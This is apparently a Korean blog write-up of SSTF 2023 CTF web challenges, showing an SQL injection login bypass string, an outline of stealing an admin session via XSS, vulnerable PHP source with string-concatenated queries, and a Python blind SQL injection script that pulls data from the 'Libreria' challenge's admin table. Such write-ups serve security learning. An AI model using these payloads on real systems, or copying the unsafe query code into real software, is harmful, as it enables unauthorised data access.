2023. 8. 20. 14:18ㆍ정보보안/CTFLOG
BoB에서 나간 (솔플) SSTF 라이트업..
tutorial - SQLi 101
튜토리얼 sql인젝션 문제이다.
인젝션에 실패하면 힌트라고 쿼리문을 출력해준다.
참고하면 될 듯 하다.
id : admin' || '1' = '1
pw: asdf
SCTF{w3lcOme_7o_w0rld_Of_W3b_h4ck1n9}
tutorial - XSS 101
sql injection 튜토리얼 문제와 똑같은 로그인 폼이 주어진다.
아무런 정보가 없으니 일단 로그인을 한 번 시도해본다.
fail이 뜨면서 Need Help? 라는 바로가기가 뜨게 된다.
대회가 끝나서 bot이 작동되지 않고 있는 것 같은데, 이렇게 보내면 admin의 세션 아이디를 얻을 수 있다.
그렇게 얻게 된 sessid를 이용해서 admin.php에 접속하게 되면 flag를 얻을 수 있다.
tutorial - SQLi 102
Union sql injection 문제이다.
튜토리얼 가이드에 이에 대한 자세한 설명이 잘 나와있어서 익스쿼리만 캡쳐해왔다.
Feeling%'은 앞에 Feeling이라는 단어가 있는 문장을 전부 가져온다는 뜻이고
싱글 쿼터를 이용해서 입력된 문자열이 들어가는 쿼리를 닫고 공격자가 만든 임의의 쿼리를 새롭게 정의한다.
위 쿼리에서는 table 이름을 찾는다.
그리고 table명을 이용해 컬럼명을 알아낸다.
그러면 출력되는 컬럼에 플래그가 적혀 출력된다.
challenge - [WEB] Libreria
대회 시간 끝나고 나서야 플래그가 나왔다...
<?php
include "./config.php";
function err_handler($errno, $msg, $file, $line)
{
return true;
}
set_error_handler("err_handler");
$resp_time = 3.0;
$start = microtime(true);
if (!isset($_GET['cmd'])) die;
$res = '{"res": "request failed."}';
$cmd = $_GET['cmd'];
switch($cmd) {
case 'findbyisbn':
if ((isset($_GET['isbn']) && strlen($_GET['isbn']) >= 10)) {
$db = dbconnect();
pg_prepare($db, "find_by_isbn", "SELECT * FROM books WHERE isbn=$1");
$result = pg_execute($db, "find_by_isbn", array($_GET['isbn']));
pg_close($db);
if($result) {
$rows = pg_fetch_assoc($result);
if ($rows) $res = json_encode($rows);
}
}
break;
case 'requestbook':
if ((isset($_GET['isbn']) && strlen($_GET['isbn']) >= 10)) {
$res = '{"res": "Sorry, but our budget is not enough to buy <a href=\'https://isbnsearch.org/isbn/'.$_GET['isbn'].'\'>this book</a>."}';
$db = dbconnect();
$result = pg_query($db, "SELECT ISBN FROM books WHERE isbn='".$_GET['isbn']."'");
pg_close($db);
if ($result) {
$rows = pg_fetch_assoc($result);
if ($rows) {
$isbn = (int)$rows["isbn"];
if (($isbn >= 1000000000) && ((string)$isbn === $rows["isbn"]))
{
$res = '{"res": "We already have this book('.$rows["isbn"].')."}';
}
}
}
}
break;
default:
die;
}
Rest.php 코드의 일부이다.
코드를 보면 case를 두가지로 나눠서 처리하고 있다.
findbyisbn 과 requestbook인데, findbyisbn에서는 isbn param으로 입력 받은 값을 prepared statement로 처리한다.
따라서 sql 공격이 힘들것이라는 생각이 든다.
하지만 requestbook은 입력받은 쿼리를 바로 db로 넘긴다.
따라서 sql 인젝션이 가능할 것이다.
requestbook case 코드를 보면
case 'requestbook':
if ((isset($_GET['isbn']) && strlen($_GET['isbn']) >= 10)) {
$res = '{"res": "Sorry, but our budget is not enough to buy <a href=\'https://isbnsearch.org/isbn/'.$_GET['isbn'].'\'>this book</a>."}';
$db = dbconnect();
$result = pg_query($db, "SELECT ISBN FROM books WHERE isbn='".$_GET['isbn']."'");
pg_close($db);
if ($result) {
$rows = pg_fetch_assoc($result);
if ($rows) {
$isbn = (int)$rows["isbn"];
if (($isbn >= 1000000000) && ((string)$isbn === $rows["isbn"]))
{
$res = '{"res": "We already have this book('.$rows["isbn"].')."}';
}
}
}
}
break;
default:
die;
isbn 번호를 검사하여 이미 존재하는 book number일 경우에만 We already have this book 이라는 문장이 반환된다.
따라서 이 부분을 응용해서 blind sql injection을 수행한다.
import requests
url = 'http://libreria.sstf.site/rest.php?cmd=requestbook&isbn='
table_name = ''
for i in range(1, 50):
for j in range(33,129):
payload = f"9781914562181'and (select substring((select value from adminonly limit 1 offset 1),{i},1))='{chr(j)}' -- - "
res = requests.get(url + payload)
print(res.text)
if "Sorry," in res.text:
print(table_name + chr(j))
else:
table_name += chr(j)
print(f"Trying character: {chr(j)}")
break
익스플로잇 코드.
서버에서 3초 sleep을 걸어서 해당 익스코드로 진행하면 선형탐색에 시간이 꽤 걸린다.
따라서, 멀티프로세스나 이분 탐색 알고리즘을 이용하면 더 빠르게 플래그를 얻을 수 있을 것이다.
SCTF{SQL_i54__l4n9uage_t0_man4G3_d4ta1_n_Da7aba$e}
'정보보안 > CTFLOG' 카테고리의 다른 글
[CTF] uoftctf-2024 (0) | 2024.01.17 |
---|---|
[CTF] Wacon 2023 ( junior division ) (0) | 2023.09.05 |
[CTF] CCE2023 final (1) | 2023.07.13 |
[CTF] SECCON Beginners 2023 (0) | 2023.06.04 |
[CTF] DEFCON31 Quals (0) | 2023.05.29 |